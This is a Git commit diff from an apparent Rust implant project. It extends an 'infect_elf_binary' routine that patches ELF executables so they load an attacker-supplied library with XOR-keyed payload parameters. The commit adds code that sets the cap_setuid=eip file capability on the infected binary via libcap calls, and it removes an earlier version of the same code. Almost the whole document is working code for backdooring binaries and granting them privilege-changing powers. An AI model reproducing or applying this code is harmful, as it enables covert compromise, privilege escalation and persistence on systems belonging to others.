feat: added the ability to set CAP_SETUID
This commit is contained in:
@@ -7,3 +7,4 @@ version.workspace = true
|
||||
libc = "0.2.169"
|
||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||
errno = "0.3"
|
||||
cfg-if = "1.0.0"
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
use std::{
|
||||
io::{prelude::*, Error, SeekFrom},
|
||||
os::fd::AsRawFd,
|
||||
path::Path,
|
||||
slice,
|
||||
};
|
||||
|
||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||
use sparse_actions::payload_types::XOR_KEY;
|
||||
|
||||
mod elf_types;
|
||||
use elf_types::*;
|
||||
@@ -22,6 +23,7 @@ pub fn infect_elf_binary<BP, LP>(
|
||||
binary_path: BP,
|
||||
target_library_path: LP,
|
||||
mut sparse_parameters: Vec<u8>,
|
||||
#[cfg(target_os = "linux")] add_setuid_capability: bool,
|
||||
) -> Result<(), Error>
|
||||
where
|
||||
BP: AsRef<Path>,
|
||||
@@ -71,99 +73,20 @@ where
|
||||
};
|
||||
|
||||
if let ElfIsa::Amd64 = isa {
|
||||
infect_64bit_elf_binary(target_library_path, binary, binary_data)?;
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
use libc::c_int;
|
||||
|
||||
#[repr(C)]
|
||||
struct CapT {
|
||||
__private: [u8; 0],
|
||||
}
|
||||
|
||||
type CapValue = c_int;
|
||||
|
||||
// cap_flag_t
|
||||
const CAP_EFFECTIVE: u8 = 0;
|
||||
const CAP_PERMITTED: u8 = 1;
|
||||
const CAP_INHERITABLE: u8 = 2;
|
||||
|
||||
// cap_flag_value_t
|
||||
const CAP_SET: u8 = 0;
|
||||
|
||||
extern "C" {
|
||||
fn cap_free(cap: *mut CapT) -> c_int;
|
||||
fn cap_get_file(filename: *const i8) -> *mut CapT;
|
||||
fn cap_set_flag(
|
||||
cap: *mut CapT,
|
||||
cap_flag: u8,
|
||||
count: c_int,
|
||||
cap_flag_value: *const CapValue,
|
||||
cap_flag_value_t: u8,
|
||||
) -> c_int;
|
||||
fn cap_set_file(filename: *const i8, cap: *mut CapT) -> c_int;
|
||||
}
|
||||
|
||||
// CAP_SETUID
|
||||
let cap_list = [7];
|
||||
|
||||
unsafe {
|
||||
let path = std::ffi::CString::new(
|
||||
binary_path
|
||||
.as_ref()
|
||||
.to_str()
|
||||
.expect("could not convert binary path to string"),
|
||||
)
|
||||
.expect("could not convert binary path to string");
|
||||
|
||||
let current_caps = cap_get_file(path.as_ptr());
|
||||
|
||||
println!("Result of getting caps: {}", errno::errno());
|
||||
|
||||
println!(
|
||||
"Result of setting effective caps: {} (errno: {})",
|
||||
cap_set_flag(
|
||||
current_caps,
|
||||
CAP_EFFECTIVE,
|
||||
1,
|
||||
&cap_list[0] as *const _,
|
||||
CAP_SET
|
||||
),
|
||||
errno::errno()
|
||||
);
|
||||
|
||||
println!(
|
||||
"Result of setting permitted caps: {} (errno: {})",
|
||||
cap_set_flag(
|
||||
current_caps,
|
||||
CAP_PERMITTED,
|
||||
1,
|
||||
&cap_list[0] as *const _,
|
||||
CAP_SET
|
||||
),
|
||||
errno::errno()
|
||||
);
|
||||
|
||||
println!(
|
||||
"Result of setting inheritable caps: {} (errno: {})",
|
||||
cap_set_flag(
|
||||
current_caps,
|
||||
CAP_INHERITABLE,
|
||||
1,
|
||||
&cap_list[0] as *const _,
|
||||
CAP_SET
|
||||
),
|
||||
errno::errno()
|
||||
);
|
||||
|
||||
println!(
|
||||
"Result of saving flags: {}, {}",
|
||||
cap_set_file(path.as_ptr(), current_caps),
|
||||
errno::errno()
|
||||
);
|
||||
|
||||
cap_free(current_caps);
|
||||
cfg_if::cfg_if! {
|
||||
if #[cfg(target_os = "linux")] {
|
||||
infect_64bit_elf_binary(
|
||||
target_library_path,
|
||||
binary,
|
||||
binary_data,
|
||||
add_setuid_capability,
|
||||
)?;
|
||||
} else {
|
||||
infect_64bit_elf_binary(
|
||||
target_library_path,
|
||||
binary,
|
||||
binary_data
|
||||
)?;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -178,10 +101,11 @@ fn infect_64bit_elf_binary<LP, F>(
|
||||
library_path: LP,
|
||||
mut binary: F,
|
||||
mut binary_data: Vec<u8>,
|
||||
#[cfg(target_os = "linux")] add_setuid_capability: bool,
|
||||
) -> Result<(), Error>
|
||||
where
|
||||
LP: AsRef<Path>,
|
||||
F: Read + Write + Seek,
|
||||
F: Read + Write + Seek + AsRawFd,
|
||||
{
|
||||
let Some(library_name) = library_path.as_ref().file_name() else {
|
||||
eprintln!("Library name does not contain a valid file path!");
|
||||
@@ -359,5 +283,30 @@ where
|
||||
binary.seek(SeekFrom::Start(0))?;
|
||||
binary.write(&binary_data)?;
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
if add_setuid_capability {
|
||||
use libc::c_int;
|
||||
|
||||
type CapT = libc::c_void;
|
||||
|
||||
unsafe extern "C" {
|
||||
fn cap_free(cap: *mut CapT) -> c_int;
|
||||
fn cap_set_fd(fd: c_int, cap: *mut CapT) -> c_int;
|
||||
fn cap_from_text(caps: *const libc::c_char) -> *mut CapT;
|
||||
}
|
||||
|
||||
// CAP_SETUID is 7
|
||||
// CAP_NET_RAW is 13
|
||||
// CAP_SETFCAP is 31
|
||||
// CAP_FOWNER is 3
|
||||
|
||||
unsafe {
|
||||
let current_caps = cap_from_text(c"cap_setuid=eip".as_ptr());
|
||||
cap_set_fd(binary.as_raw_fd(), current_caps);
|
||||
cap_free(current_caps);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user